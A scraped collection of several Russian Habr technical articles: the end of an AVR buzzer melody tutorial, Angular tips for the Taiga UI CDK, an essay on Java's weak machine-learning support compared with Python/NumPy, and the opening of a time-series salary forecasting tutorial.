//обработчик прерывания
ISR (TIMER1\_COMPA\_vect)
{
timer1\_ticks++;
}
void timer1\_ticks\_init()
{
// настройка таймера
// CTC режим, делим частоту кварца на 8
TCCR1B |= (1 << WGM12) | (1 << CS11);
//устанавливаем значение для модуля сравнения
OCR1AH = (uint8\_t)(CTC\_MATCH\_OVERFLOW >> 8);
OCR1AL = (uint8\_t) CTC\_MATCH\_OVERFLOW;
// Разрешить прерывание таймера
TIMSK1 |= (1 << OCIE1A);
}
unsigned long ticks()
{
unsigned long ticks\_return;
//должно быть атомарно, чтобы значение ticks\_return было корректным
//во время внезапного возникновения прерывания
ATOMIC\_BLOCK(ATOMIC\_FORCEON)
{
ticks\_return = timer1\_ticks;
}
return ticks\_return;
}
```
Прежде чем я покажу заголовочный файл с определенной константой CTC\_MATCH\_OVERFLOW, нам нужно немного вернуться во времени к разделу **«Длительность»** и определить самый главный для мелодии макрос, который вычисляет темп мелодии. Я долго ждал для того, чтобы его определить, так как он непосредственно связан с проигрывателем, а значит с таймером 1.
В первом приближении он выглядел так(см. вычисления в разделе «Длительность»):
```
#define TEMPO( x ) (60000 * 4 / x)
```
Значение которое мы получаем на выходе мы должны в последствии подставить первым аргументом в функцию **calc\_note\_delay**. Теперь внимательно посмотрим на функцию calc\_note\_delay, а именно на строчку:
```
return (precalced_tempo / divider);
```
Мы видим, что значение, полученное в результате вычисления макроса TEMPO, делится на некий делитель. Вспомним, что максимальный делитель который у нас определен — это **DEL\_1N128**, т.е. делитель будет 128.
Теперь возьмем распространенное значение темпа равное 240 и проведем нехитрые вычисления:
**60000 \* 4 / 240 = 1000**
О ужас! У нас получилось всего 1000, в виду того, что это значение ещё будет делиться на 128, мы рискуем скатиться в 0, при высоких значениях темпа. **Это вторая проблема длительности.**
Как же её решить? Очевидно, чтобы расширить диапазон значений темпа, нам каким то образом надо увеличить число, получающиеся в результате вычисления макроса TEMPO. Это можно сделать только одним способом — уйти от миллисекунд и считать время в неких временных промежутках. Теперь Вы поняли, почему я всё это время избегал упоминания «миллисекунд» в рассказе. Давайте определим ещё один макрос:
```
#define MS_DIVIDER 4
```
Пусть он будет нашим делителем миллисекунды — разделим миллисекунду, допустим, на 4(250 мкс).
Тогда необходимо поменять макрос TEMPO:
```
#define TEMPO( x ) (60000 * MS_DIVIDER * 4 / x)
```
Теперь я с чистой совестью приведу заголовочный файл для работы с таймером 1:
```
#ifndef TIMER1_TICKS_H_INCLUDED
#define TIMER1_TICKS_H_INCLUDED
#define MS_DIVIDER 4
#define CTC_MATCH_OVERFLOW ((F_CPU / 1000) / (8 * MS_DIVIDER))
void timer1_ticks_init();
unsigned long ticks();
#endif // TIMER1_TICKS_H_INCLUDED
```
Теперь Мы можем, меняя MS\_DIVIDER, подгонять диапазон под наши задачи — у меня в коде стоит 4 — для моих задач этого хватило. **Внимание: если у Вас будут ещё какие либо задачи «завязанные» на таймер 1, не забывайте контрольные значения времени для них умножать/делить на MS\_DIVIDER.**
#### Проигрыватель
Теперь напишем наш проигрыватель. Я думаю из кода и комментариев будет всё понятно.
```
int main(void)
{
timer1_ticks_init();
// разрешаем прерывания
sei();
timer2_buzzer_init();
//в миллисекундах деленных на MS_DIVIDER
long time_since = ticks();
//текущая длительность ноты в миллисекундах деленных на MS_DIVIDER
uint16_t note_delay = 0;
//текущая позиция в массиве мелодии
uint16_t note_pos = 0;
//длина мелодии
uint16_t length = sizeof(king) / sizeof(king[0]);
//устанавливаем значение темпа под рингтон
uint16_t tempo = TEMPO(240);
for(;;)
{
unsigned long time_current = ticks();
if (time_current - time_since > note_delay)
{
//читаем элемент массива
uint16_t note = pgm_read_word(&king[note_pos]);
//установить частоту ноты
play_music_note(note);
//вычислить длительность проигрывания ноты
note_delay = calc_note_delay(tempo, note);
//зациклить мелодию
if (++note_pos >= length)
note_pos = 0;
time_since = time_current;
}
}
return 0;
}
```
### Заключение
Я надеюсь, что уважаемому читателю и мне самому данная памятка будет полезна, чтобы не забыть все нюансы проигрывания мелодий, в случае, если я опять возьму в руки микроконтроллеры AVR.
Ну и традиционно видео и исходный код(разрабатывал я это в среде Code Blocks, так что не пугайтесь непонятных файлов):
[Исходники](https://github.com/fsmoke/buzic) | https://habr.com/ru/post/402329/ | null | ru | null |
# Упрощаем работу с Angular с помощью @taiga-ui/cdk: 5 наших лучших практик
CDK — базовый пакет [библиотеки компонентов Taiga UI.](https://github.com/TinkoffCreditSystems/taiga-ui) Он не имеет никакой привязки к визуальной составляющей библиотеки, а скорее служит набором полезных инструментов для упрощения создания Angular-приложений.
Среди всех этих инструментов я выделил мою пятерку фаворитов. Я использую их во всех своих проектах и уже давно не представляю, как писать на Angular без них, потому что они ежедневно экономят мне массу времени.
### Дисклеймер о весе библиотеки
Перед написанием статьи хотелось бы ответить на вопрос: «Для чего тащить в бандл целый мультитул, когда мне нужна пара функций?»
По результатам [bundlephobia](https://bundlephobia.com/result?p=@taiga-ui/cdk@2.7.0) мы получим следующую картинку:
23 КБ — результат не самый страшный, но и не очень приятный. Но все сущности наших библиотек лежат в отдельных Secondary Entry Point, что делает их полностью tree shakable. Это значит, что такой объем в бандле мы получим только в случае импорта и использования всех сущностей библиотеки в нашем приложении. Если вы импортите пару сущностей — только они и попадут к вам в бандл, добавив к нему в результате меньше 1 КБ.
### tuiPure — продвинутая мемоизация вычислений
Это декоратор, который можно вешать на геттеры и чистые методы классов. Давайте разберем оба сценария.
#### Как геттер
Можно повесить декоратор tuiPure на геттер. В таком случае он позволяет сделать отложенные вычисления.
Пример 1. Скрываем и показываем сороковое число Фибоначчи, когда пользователь нажимает на кнопку
```
// template
fibonacci(40) = {{ fibonacci40 }}
// component
@tuiPure
get fibonacci40(): number {
return calculateFibonacci(40);
}
```
Когда мы запросим число в первый раз, функция посчитает сороковой элемент Фибоначчи. Все последующие запросы будут сразу возвращать ранее посчитанное число.
Пример 2. У нас есть компонент pull to refresh, который эмулирует поведение под iOS и Android. Один из его стримов вызывается только для Андроида, а для iOS — нет. Завернем его в getter с pure, и ненужный Observable не будет создан для iOS.
```
```
```
@tuiPure
get loaderTransform$(): Observable {
return this.pulling$.pipe(
map(distance => translateY(Math.min(distance, ANDROID\_MAX\_DISTANCE))),
);
}
```
Также можно обратиться к changes от ContentChild / ContentChildren: если мы вызываем такой геттер из шаблона, то уже можем быть уверены, что content готов. При соблюдении порядка также это можно провернуть и с ViewChild / ViewChildren.
#### Как метод
На метод тоже можно повесить декоратор @tuiPure. Тогда он будет работать следующим образом: при первом вызове метода посчитает значение и вернет его. Все последующие вызовы с теми же самыми аргументами будут возвращать уже посчитанный результат. Если аргумент изменится — результат пересчитается.
Это полезно не только для сложных вычислений, но и в связке с геттером для создания непримитивов — объектов или массивов.
```
get filteredItems(): readonly string[] {
return this.computeFilteredItems(this.items);
}
@tuiPure
private computeFilteredItems(items: readonly string[]): readonly string[] {
return items.filter(someCondition);
}
```
В этом случае можно вызвать геттер из шаблона, один раз отфильтровать items, и он будет возвращать тот же самый массив до тех пор, пока `this.items`не изменится. Это поможет избежать лишних операций пересоздания массива на каждый чих проверки изменений, а также проблем из-за постоянных изменений ссылки на массив при передаче дальше. При этом нам не придется, например, самим синхронизировать состояние в ngOnChanges, если `this.items`— инпут компонента.
[Документация по tuiPure](https://taiga-ui.dev/decorators/pure)
### \*tuiLet
Это простая структурная директива для объявления локальных переменных в шаблонах.
```
Timer value: {{time}}
It can be used many times:
It subsribed once and async pipe unsubsribes it after component destroy
```
Вместо `*tuiLet`можно использовать `*ngIf` если вам не нужно показывать шаблон при falsy-значении (или если оно не предусмотрено). Но если вы работаете, например, с числами, то 0, скорее всего, является вполне адекватным значением. Тут и поможет `*tuiLet`
[Документация по tuiLet](https://taiga-ui.dev/directives/let)
### Метапайпы tuiMapper и tuiFilter
Мы создали пайп, чтобы не создавать другие пайпы, — tuiMapper.
Он очень простой. Это pure-пайп, который принимает в себя чистую функцию для преобразования и произвольное количество аргументов к ней. В шаблоне это выглядит так:
```
{{value | tuiMapper : mapper : arg1 : arg2 }}
```
Также удобно и преобразовывать данные для инпутов компонентов в шаблоне или использовать через `*ngIf` / `*tuiLet`:
```
```
*Добавление цветных маркеров-точек в календарях @taiga-ui/core*
Чистые пайпы кэшируют предыдущее значение и не пересчитываются на каждый цикл проверки изменений, что полностью решает проблемы производительности. А такая передача чистых функций извне позволяет орудовать хендлерами, подменять их или даже передавать в компонент извне. Кроме того, нам не нужно создавать отдельный пайп под каждый кейс, если он нужен нам лишь в одном месте.
А еще у нас есть tuiFilter для удобства фильтрации массивов. Фактически это частный случай маппера, но нам нужен довольно часто. Поскольку это чистый пайп, то никаких проблем с производительностью из-за пересоздания массивов тут нет.
[Документация на mapper](https://taiga-ui.dev/pipes/mapper) / [документация на filter](https://taiga-ui.dev/pipes/filter)
### destroy$
Это Observable-based сервис, который упрощает процесс отписки в компонентах и директивах.
```
@Component({
// ...
providers: [TuiDestroyService],
})
export class TuiDestroyExample {
constructor(
@Inject(TuiDestroyService)
private readonly destroy$: Observable
) {}
// …
subscribeSomething() {
fromEvent(this.element, 'click')
.pipe(takeUntil(this.destroy$))
.subscribe(() => {
console.log('click');
});
}
}
```
Все что нам нужно — добавить его в providers компонента и заинжектить в конструкторе. Я предпочитаю писать типы сущностей из DI, которые минимально необходимы в компоненте. Здесь это Observable. Но можно писать и покороче:
```
constructor(private destroy$: TuiDestroyService) {}
```
Кстати, сервис в такой ситуации привязывается не к лайфсайклу компонента, а к его DI Injector’у. Это может помочь в ситуации, когда нужно подписаться в сервисе или внутри DI фабрики. Такие кейсы довольно редки, но зато TuiDestroyService в них буквально спасает — например, когда мы хотели дергать markForCheck из фабрики токена в статье [о DI фокусах для проброса данных.](https://habr.com/ru/company/tinkoff/blog/546178/)
[Ссылка на документацию](https://taiga-ui.dev/services/destroy-service)
### Плагины ng-event-plugins
Фактически это внешняя библиотека [ng-event-plugins](https://github.com/TinkoffCreditSystems/ng-event-plugins), которая поставляется вместе с cdk (прямая зависимость, которую не нужно устанавливать отдельно). Она добавляет свои обработчики к менеджеру плагинов Angular. В ней есть несколько очень полезных плагинов, которые добавляют ряд возможностей в шаблоны компонентов.
Например, `.stop`и `.prevent`позволяют декларативно делать stopPropagation и preventDefault на любой прилетающий ивент.
Было:
```
Choose date
```
```
export class SomeComponent {
// …
handle(event: MouseEvent) {
event.preventDefault();
event.stopPropagation();
this.onMouseDown(event);
}
}
```
Стало:
```
Choose date
```
Или модификатор `.silent` который позволяет не запускать проверку изменений на событие:
```
Callbacks to mousemove will not trigger change detection
```
Можно отслеживать ивенты в capture-фазе с помощью `.capture`:
```
Clicks will be stopped before reaching this DIV
```
Все это работает и с @HostListener’ами, и с кастомными событиями. Вы можете почитать подробнее [в документации ng-event-plugins.](https://github.com/TinkoffCreditSystems/ng-event-plugins#angular-event-plugins)
### Итого
Мы посмотрели ряд сущностей пакета [@taiga-ui/cdk.](https://www.npmjs.com/package/@taiga-ui/cdk) Надеюсь, какие-нибудь из них вам приглянулись и тоже будут помогать во всех дальнейших проектах!
Кстати, у меня еще есть [статья про саму библиотеку Taiga UI](https://habr.com/ru/company/tinkoff/blog/536866/), в которой описаны остальные пакеты и общая философия библиотеки. | https://habr.com/ru/post/556660/ | null | ru | null |
# Что требуется сделать в языке Java для полноценной поддержки машинного обучения
Здравствуйте, коллеги!
Из последних известий по нашим планируемым новинкам из области ML/DL:
Нишант Шакла, "[Машинное обучение с Tensorflow](https://www.amazon.com/Machine-Learning-TensorFlow-Nishant-Shukla/dp/1617293873/)" — книга в верстке, ожидается в магазинах в январе
Делип Рао, Брайан Макмахан, "[Обработка естественного языка на PyTorch](https://www.amazon.com/Natural-Language-Processing-PyTorch-Applications/dp/1491978236/ref=sr_1_1?s=books&ie=UTF8&qid=1542023024&sr=1-1&keywords=Pytorch)" — контракт подписан, планируем приступать к переводу в январе.
В данном контексте мы хотели в очередной раз вернуться к болезненной теме — слабой проработке темы ML/DL в языке Java. Из-за явной незрелости этих решений и алгоритмов на языке Java мы когда-то приняли решение отказаться от [книги](https://www.amazon.com/Deep-Learning-Practitioners-Josh-Patterson-ebook/dp/B074D5YF1D/) Гибсона и Паттерсона по DL4J, и публикуемая сегодня статья Хамфри Шейла (Humphrey Sheil) подсказывает, что мы, вероятно, были правы. Предлагаем познакомиться с мыслями автора о том, каким образом язык Java мог бы наконец составить конкуренцию Python в машинном обучении
Недавно я выступал с [лекцией](https://www.technologytransfer.eu/event/1831/Machine_Learning_for_the_Enterprise_International_Conference.html) о настоящем и будущем машинного и глубокого обучения (ML / DL) в энтерпрайзе. В контексте большого предприятия актуальны более прикладные темы и вопросы, чем на исследовательской конференции – например, как нам с командой приступить к использованию ML, и как лучше всего интегрировать ML с имеющимися у нас в эксплуатации системами. Затем началось панельное обсуждение на тему Java и машинного обучения.
Язык Java практически отсутствует в сегменте машинного обучения. Почти не существует фреймворков ML, которые были бы написаны на Java (есть [DL4J](https://deeplearning4j.org/), но лично я не знаю никого, кто бы ей пользовался, в [MXNet](https://mxnet.apache.org/) есть API на Scala, но не на Java, причем, сам этот фреймворк написан не на Java). У Tensorflow есть [неполный API на Java](https://www.tensorflow.org/install/lang_java), однако, Java занимает огромную долю в enterprise-разработке, за последние 20 лет в этот язык были инвестированы триллионы долларов практически во всех мыслимых предметных областях: финансовые услуги, электронные сделки, интернет-магазины, телекоммуникации – список можно продолжать бесконечно. В машинном обучении «первый среди равных» — это Python, а не Java. Лично мне очень нравится программировать как на Python, так и на Java, но [Фрэнк Греко](https://twitter.com/frankgreco) сформулировал интересный вопрос, натолкнувший меня на размышления:
> Зачем Java конкурировать с Python в ML? Почему бы Java не взяться за то, чтобы довести до ума серьезную поддержку ML?
**Важно ли это?**
Давайте обоснуем эту тему. С 1998 года язык Java – в высшей лиге, без него не обошлось никаких эволюционных и революционных событий в энтерпрайзе. Речь и о веб-технологиях, и о мобильных, о сравнении браузерных и нативных решений, о системах обмена сообщениями, поддержке глобализации i18n и l10n, горизонтальном масштабировании и поддержке хранилищ для любой enterprise-информации, какую только можно вообразить – от реляционных баз данных до Elasticsearch.
Такой уровень безусловной поддержки обеспечивает весьма здоровую культуру, сложившуюся в Java-командах: «мы сможем», «закатай рукава и пиши код». Нет такого волшебного компонента или API, который нельзя было бы дополнить или заменить хорошей командой Java-разработчиков.
Но этот принцип не работает в машинном обучении. Здесь у Java-команд остается два выхода:
1. Переучиться / доучиться на Python.
2. Использовать сторонний API, чтобы добавить возможности машинного обучения в имеющуюся enterprise-систему.
Ни один из этих вариантов не назовешь по-настоящему безобидным. Первый требует заблаговременно вложить множество времени и инвестиций, плюс текущие расходы на поддержку. Во втором же варианте мы рискуем впасть в зависимость от поставщика, лишиться поддержки поставщика, плюс вынуждены работать со сторонними компонентами (уплачивая при этом цену за сетевой переход), мигрируя в систему, в которой потенциально могут быть критичные требования по безопасности и придется делиться информацией с кем-либо не из вашей организации. В некоторых ситуациях такое неприемлемо.
Наиболее разрушителен в данном случае (на мой взгляд), потенциал *культурного износа* — команды не могут менять код, который не понимают или не умеют поддерживать, поэтому обязанности размываются, и основную работу приходится делегировать кому-то еще. Команды, состоящие только из Java-разработчиков, рискуют пропустить следующую большую волну, которая нахлынет на энтерпрайз-вычисления – волну машинного обучения.
Поэтому важно и желательно, чтобы в языке и на платформе Java появилась первоклассная поддержка машинного обучения. В противном случае есть риск, что в ближайшие 5-10 лет Java будет вытеснен другими языками, где ML поддерживается лучше.
**Почему Python настолько доминирует в ML?**
Для начала давайте обсудим, почему Python занял лидирующие позиции в сфере машинного и глубокого обучения.
Подозреваю, все началось с совершенно невинного свойства — поддержки срезов списков (list slicing). Такая поддержка расширяема: любой класс Python, реализующий методы `__getitem__` и `__setitem__`, можно разрезать при помощи такого синтаксиса. Следующий листинг демонстрирует, насколько проста и естественна данная возможность Python.
```
a = [1, 2, 3, 4, 5, 6, 7, 8]
print(a[1:4])
#возвращает [2, 3, 4] – выбираем срез со средними элементами
print(a[1:-1])
# возвращает [2, 3, 4, 5, 6, 7] - пропускаем 0-й и последние элементы
print(a[4:])
#возвращает [5, 6, 7, 8] – конечная точка задается по умолчанию
print(a[:4])
#возвращает [1, 2, 3, 4] – начальная точка задается по умолчанию
print(a[:4:2])
#возвращает [1, 3] (обратите внимание на приращение среза)
```
Разумеется, это еще не все. Код на Python гораздо более компактный и лаконичный по сравнению со «старым» кодом Java. Исключения поддерживаются, но не проверяются, а разработчики могут легко писать скрипты Python, пригодные в качестве расходного материала – попробовать, «как все работает», не утопая в Java-мировоззрении «все есть класс». С Python легко втянуться в работу.
Однако, сейчас важнейший фактор перевеса на мой взгляд (что не мешает мне признавать, какую каторжную работу сообщество Python проделывает, чтобы поддерживать связь между Python 2.7 и Python 3) – в том, что им удалось создать гораздо более качественно спроектированную и быструю библиотеку для операций с числами — NumPy. Numpy построена вокруг [ndarray](https://docs.scipy.org/doc/numpy-1.15.0/reference/generated/numpy.ndarray.html) — объекта, представляющего собой N-мерный массив. Цитирую документацию: “*Главный объект в NumPy – это однородный многомерный массив. Это таблица элементов (обычно чисел), всех одного типа, индексируемых при помощи кортежа положительных целых чисел*”. Вся работа NumPy основана на записи ваших данных в ndarray и последующих операциях над ними. NumPy поддерживает разнообразные варианты индексирования, широковещания, векторизации для скорости и вообще позволяет разработчикам с легкостью создавать крупные числовые массивы и манипулировать ими.
В следующем листинге на практике показано индексирование и широковещание в ndarray — это ключевые операции в ML / DL.
```
import numpy as np
# Простой пример широковещания
a = np.array([1.0, 2.0, 3.0])
b = 2.0
c = a * b
print(c)
# возвращает [ 2. 4. 6.] - скаляр b автоматически продвигается / широковещается и применяется к вектору для создания c
#2-d (матрица с рангом 2) индексирование в NumPy – распространяется и на тензоры - т.e. ранг > 2
y = np.arange(35).reshape(5,7)
print(y)
# array([[ 0, 1, 2, 3, 4, 5, 6],
# [ 7, 8, 9, 10, 11, 12, 13],
# [14, 15, 16, 17, 18, 19, 20],
# [21, 22, 23, 24, 25, 26, 27],
# [28, 29, 30, 31, 32, 33, 34]])
print(y[0,0])
# доступ к отдельной ячейке – нотация в построчном порядке, возвращает 0
print(y[4,])
# возвращает всю строку 4: array([28, 29, 30, 31, 32, 33, 34])
print(y[:,2])
# возвращает весь столбец 2: array([ 2, 9, 16, 23, 30])
```
Работая с крупными многомерными числовыми массивами, мы метим в самое сердце программирования для машинного обучения, и в особенности – глубокого обучения. Глубокие нейронные сети – это решетки из узлов и ребер, смоделированные на уровне чисел. Операции во время выполнения при обучении сети или выполнении вывода на ее основе требуют быстрого перемножения матриц.
Благодаря NumPy удалось сделать гораздо больше — [scipy](https://scikit-learn.org/stable/), [pandas](https://pandas.pydata.org/) и множество других библиотек, основанных на NumPy. Ведущие библиотеки глубокого обучения ([Tensorflow](https://www.tensorflow.org/) от Google, [PyTorch](https://pytorch.org/) от Facebook) серьезно развивают Python. У Tensorflow есть другие API для Go, Java и JavaScript, но они неполны и считаются нестабильными. PyTorch исходно была написана на Lua, и испытала настоящий всплеск популярности, когда в 2017 году перешла с этого откровенно нишевого языка в основную экосистему ML Python в 2017 году.
**Недостатки Python**
Python – не идеальный язык, не идеальна и наиболее популярная среда его исполнения, CPython. Ей присуща глобальная блокировка интерпретатора ([GIL](https://wiki.python.org/moin/GlobalInterpreterLock)), так что масштабирование — дело не простое. Более того, фреймворки Python для глубокого обучения, например, PyTorch и Tensorflow, по-прежнему передают ключевые методы непрозрачным реализациям. Например, библиотека [cuDNN](https://developer.nvidia.com/cudnn) от NVidia сильнейшим образом повлияла на область применения реализации [RNN / LSTM](https://pytorch.org/docs/stable/nn.html#rnn) в PyTorch. RNN и LSTM (рекуррентные нейронные сети и долгая краткосрочная память) – очень важный инструментарий DL для бизнес-приложений, в частности, потому, что они специализируются на классификации и прогнозировании последовательных рядов переменной длины — напр. отслеживание навигации (clickstream) в вебе, анализ текстовых фрагментов, пользовательских событий и пр.
Ради непредвзятости к Python следует отметить, что такая непрозрачность/ограниченность касается практически любого фреймворка для ML/DL кроме написанных на C или C++. Почему? Потому что для достижения максимальной производительности для базовых, высоконагруженных операций, таких как перемножение матриц, разработчики опускаются «поближе к металлу» насколько это возможно.
**Что нужно Java, чтобы конкурировать на этом поле?**
Предполагаю, что платформа Java нуждается в трех основных дополнениях. Если их реализовать – то здесь начнет распространяться здоровая и процветающая экосистема для машинного обучения:
1. Добавить в ядро языка нативную поддержку индексирования/срезов, чтобы можно было конкурировать с Python при всей простоте его использования и выразительности. Возможно, выстраивать такие возможности в Java следует вокруг уже существующей упорядоченной коллекции, [интерфейса List](https://docs.oracle.com/javase/8/docs/api/java/util/List.html). Для такой поддержки также потребуется признать необходимость перегрузки – она нужна для выполнения пункта #2.
2. Создать реализацию **тензора** — вероятно, в пакете `java.math`, но также с выходом на Collections API. Этот набор классов и интерфейсов мог бы работать эквивалентно `ndarray` и обеспечил дополнительную поддержку индексирования, в частности, те [три типа индексирования](https://docs.scipy.org/doc/numpy-1.15.1/reference/arrays.indexing.html), что доступны в NumPy: доступ к полям, простейшие срезы и продвинутое индексирование, необходимое для программирования.
3. Обеспечить широковещание — скаляры и тензоры произвольных (но совместимых) размерностей.
Если бы три эти задачи удалось выполнить в ядре языка Java и среде исполнения, перед нами открылся бы путь к созданию **“NumJava”**, эквивалентной NumPy. [Проект Panama](http://openjdk.java.net/projects/panama/) также мог бы пригодиться для обеспечения векторизованного низкоуровневого доступа к быстрым тензорным операциям, выполняемым на CPU, GPU, TPU и не только, чтобы Java ML могло стать быстрейшим из себе подобных.
Я совсем не утверждаю, что эти дополнения тривиальны — нет, далеко нет, но их потенциальная польза для всей платформы Java колоссальна.
В следующем листинге показано, как наш пример с широковещанием и индексированием из NumPy мог бы выглядеть в NumJava с классом `Tensor`, при поддержке синтаксиса срезов в основе языка и с учетом действующих ограничений на перегрузку операторов.
```
// Как мог бы выглядеть тензор Java с возможностью широковещания
// Использование var-синтаксиса в Java 10 для краткости
// В Java не поддерживается перегрузка операторов, поэтому мы не можем сделать "a * b"
// Следует ли добавить это в список требований?
var a = new Tensor([1.0, 2.0, 3.0]);
var b = 2.0;
var c = a.mult(b);
/**
* А вот фрагмент кода, демонстрирующий, как мог бы выглядеть класс Tensor в Java.
*/
import static java.math.Numeric.arange;
//arange возвращает экземпляр тензора, а reshape определяется на тензоре
var y = arange(35).reshape(5,7);
System.out.println(y);
// tensor([[ 0, 1, 2, 3, 4, 5, 6],
// [ 7, 8, 9, 10, 11, 12, 13],
// [14, 15, 16, 17, 18, 19, 20],
// [21, 22, 23, 24, 25, 26, 27],
// [28, 29, 30, 31, 32, 33, 34]])
System.out.println(y[0,0]);
// доступ к отдельной ячейке – нотация в построчном порядке, возвращает 0
System.out.println(y[4,]);
// возвращает все из 4-й строки (5-я строка начинается с индекса 0): tensor([28, 29, 30, 31, 32, 33, 34])
System.out.println(y[:,2]);
// возвращает все из 2-го столбца (3-й столбец начинется с индекса 0): tensor([ 2, 9, 16, 23, 30])
```
**Перспектива и призыв к действию**
Все мы знаем, что машинное обучение перевернет мир бизнеса не меньше, чем в свое время – реляционные базы данных, интернет и мобильные технологии. Вокруг него много хайпа, но появляются и некоторые весьма убедительные статьи и выводы. Например, в [этой статье](https://arxiv.org/abs/1712.01208) описано будущее, когда система сможет выучить оптимальные конфигурации сервера базы данных, веб-сервера и сервера приложений, в фоновом режиме, с применением машинного обучения. Вам даже не придется самостоятельно развертывать ML в собственной системе – определенно, это сможет сделать один из ваших вендоров.
Исходя с прагматичных позиций, изложенных в этой статье, на Java можно написать не меньше фреймворков для машинного и глубокого обучения (работающих на JRE), чем уже имеющихся фреймворков для веба, долговременного хранения или синтаксического разбора XML — вы только представьте! Можно вообразить фреймворки Java с поддержкой [сверточных нейронных сетей](http://cs231n.github.io/convolutional-networks/) (CNN) для ультрасовременных реализаций компьютерного зрения, таких реализаций рекуррентных нейроонных сетей [LSTM](http://colah.github.io/posts/2015-08-Understanding-LSTMs/) для последовательных датасетов (имеющих ключевое значение для бизнеса), с самыми современными возможностями ML, такими как автоматическая дифференциация и не только. Затем эти фреймворки помогли бы воплотить и подпитывать следующее поколение энтерпрайз-систем, которые можно было бы гладко интегрировать с уж имеющимися Java-системами, пользуясь все тем же инструментарием — IDE, фреймворками тестирования, непрерывной интеграцией. Что наиболее важно – они будут написаны и будут поддерживаться нашими людьми. Если вы фанат Java – разве вам не нравится такая перспектива? | https://habr.com/ru/post/429596/ | null | ru | null |
# Временные ряды. Простые решения
Привет, Хабр!
В этой статье мы рассмотрим несколько простых подходов прогнозирования временных рядов.
Материал, изложенный в статье, на мой взгляд, хорошо дополняет первую неделю курса «Прикладные задачи анализа данных» от МФТИ и Яндекс. На обозначенном курсе можно получить теоретические знания, достаточные для решения задач прогнозирования рядов динамики, а в качестве практического закрепления материала предлагается с помощью модели *ARIMA* библиотеки *scipy* сформировать прогноз заработной платы в Российской Федерации на год вперед. В статье, мы также будем формировать прогноз заработной платы, но при этом будем использовать не библиотеку *scipy*, а библиотеку *sklearn*. Фишка в том, что в *scipy* уже предусмотрена модель *ARIMA*, а *sklearn* не располагает готовой моделью, поэтому нам придется потрудиться ручками. Таким образом, нам для решения задачи, в каком то смысле, необходимо будет разобраться как устроена модель изнутри. Также, в качестве дополнительного материала, в статье, задача прогнозирования решается с помощью однослойной нейронной сети библиотеки *pytorch*.
Весь код написан на *python 3* в *jupyter notebook*. Более того, *notebook* устроен таким образом, что вместо данных о заработной плате можно подставить многие другие ряды динамики, например данные о ценах на сахар, поменять период прогнозирования, валидации и обучения, добавить иные внешние факторы и сформировать соответствующий прогноз. Другими словами, в работе используется простенький самописный тренажерчик, с помощью которого можно прогнозировать различные ряды динамики. Код можно посмотреть [здесь](https://github.com/AlexanderPetrenko83/Articles/tree/master/20210421_Time-series)
### План статьи
1. Краткое описание тренажера.
2. Решение в лоб — прогнозирование временных рядов с использованием только «сырых» данных прошлых значений рядов динамики.
3. Добавление экзогенных переменных.
4. Коррекция гетероскедастичности через логарифмирование исходных данных.
5. Приведение ряда к стационарному.
6. Прогнозирование с помощью однослойной нейронной сети.
7. Сравнение подходов.
8. Полезные ссылки
### Краткое описание тренажера
**Import the data**
Здесь все просто — импортируем данные. Иногда бывает так, что сырых данных достаточно для формирования более-менее внятного прогноза. Именно первый и второй прогнозы в статье моделируются на основании сырых данных, то есть для прогноза заработной платы используются необработанные данные о заработной плате в прошлые периоды.
**Aggregate the data**
В статье не используется агрегация данных ввиду отсутствия необходимости. Однако зачастую, данные могут быть представлены неравными временными интервалами. В таком случае, просто необходимо их агрегировать. Например, данные с торгов ценными бумагами, валютой и другими финансовыми инструментами необходимо агрегировать. Обычно берут среднее значение в интервале, но можно и максимальное, минимальное, стандартное отклонение и другие статистики.
**Preprocessing the data**
В нашем случае, речь идет в первую очередь о предобработке данных, благодаря которой, временной ряд приобретает свойство гомоскедастичности (через логарифмирование данных) и становится стационарным (через дифференцирование ряда).
**Split to train, test & forecast**
В этом блоке кода временные ряды разбиваются на периоды обучения, тестирования и прогнозирования путем добавления нового столбца с соответствующими значениями «train», «test», «forecast». То есть, мы не создаем три отдельных таблицы для каждого периода, а просто добавляем столбец, на основании, которого в дальнейшем будем разделять данные.
**Extraction exogenous time-series features**
Бывает полезным выделить дополнительные внешние (экзогенные) признаки из временного ряда. Например, указать выходной это день или нет, указать количество дней в месяце (или количество рабочих дней в месяце) и др. Как правило эти признаки «вытаскиваются» из самого временного ряда без какого либо ручного вмешательства.
**Create/import exogenous data**
Не всю информацию можно «вытащить» из временного ряда. Иногда могут потребоваться дополнительные внешние данные. Например, какие-то эпизодические события, которые оказывают сильное влияние на значения временного ряда. Такими событиями могут быть даты начала военных действий, введения санкций, природные катаклизмы и др. В работе такие факторы не рассматриваются, однако возможность их использования стоит иметь в виду.
**Exogenous values**
В этом блоке кода мы объединяем все экзогенные данные в одну таблицу.
**Union the data (create dataset)**
В этом блоке кода мы объединяем значения временного ряда и экзогенных признаков в одну таблицу. Другими словами — готовим датасет, на основании, которого будем обучать модель, тестировать качество и формировать прогноз.
**Learning the model**
Здесь все понятно — мы просто обучаем модель.
**Preprocessing data: predict & forecast**
В случае, если мы для обучения модели использовали предобаботанные данные (логарифмированные, обработанные функцией бокса-кокса, стационарный ряд и др.), то качество модели для начала оценивается на предобработанных данных и только потом уже на «сырых» данных. Если, мы данные не предобрабатывали, то данный этап пропускается.
**Row data: predict & forecast**
Данный этап является заключительным. Если, модель обучалась на предобработанных данных, например, мы их прологарифмировали, то для получения прогноза заработной платы в рублях, а не логарифма рублей, нам следует перевести прогноз обратно в рубли.
Также хотелось бы отметить, что в статье используется одномерный временной ряд для предсказания заработной платы. Однако ничего не мешает использовать многомерный ряд, например добавить данные курса рубля к доллару или какой-либо другой ряд.
### Решение в лоб
Будем считать, что данные о заработной плате в прошлом, могут аппроксимировать заработную плату в будущем. Иначе можно сказать — размер заработной платы, например, в январе зависит от того, какая заработная плата была в декабре, ноябре, октябре,…
Давайте возьмем значения заработной платы в 12-ть прошлых месяцев для предсказания заработной платы в 13-й месяц. Другими словами для каждого целевого значения у нас будет 12 признаков.
Признаки будем подавать на вход Ridge Regression библиотеки sklearn. Параметры модели берем по умолчанию за исключением параметра alpha, его установили на 0, то есть по сути мы используем обычную регрессию.
Это и есть решение в лоб — оно самое простое:) Бывают ситуации, когда нужно очень срочно дать хоть какой-то результат, а времени на какую-либо предобработку просто нет или не хватает опыта, чтобы оперативно обработать или добавить данные. Вот в таких ситуациях, можно в качестве baseline использовать сырые данные для построения прогноза. Забегая вперед, отмечу, что качество модели оказалось сопоставимо с качеством моделей, в которых используется предобработка данных.
Давайте посмотрим, что у нас получилось.
На первый взгляд результат выглядит хоть и неидеально, но близко к действительности.
